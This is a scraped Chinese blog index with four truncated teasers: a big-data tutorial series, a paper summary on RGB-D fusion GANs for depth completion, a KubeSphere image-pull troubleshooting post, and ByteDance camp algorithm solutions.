点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…

[论文阅读]RGB-Depth Fusion GAN for Indoor Depth Completion

摘要 由于固有的限制&#xff0c;如无法感知透明物体和有限的距离范围&#xff0c;室内深度传感器捕获的原始深度图像通常会有大面积的深度值缺失。这种不完整的深度图给许多后续视觉任务带来了负担&#xff0c;尽管提出了很多深度补全方法来缓解这一问题。但是现有的大多数方…

解决k8s集群中安装ks3.4.1开启日志失败问题

问题 安装kubesphere v3.4.1时&#xff0c;开启了日志功能&#xff0c;部署时有三个pod报错了 Failed to pull image “busybox:latest”: rpc error: code Unknown desc failed to pull and unpack image “docker.io/library/busybox:latest”: failed to copy: httpRead…

字节跳动青训营——入营考核解答(持续更新中~~~)

考核内容&#xff1a; 在指定的题库中自主选择不少于 15 道算法题并完成解题&#xff0c;其中题目难度分配如下&#xff1a; 简单题不少于 10 道中等题不少于 4 道困难题不少于 1 道 解答代码 16.DNA 序列还原 &#xff08;简单&#xff09; 代码实现&#xff1a; public…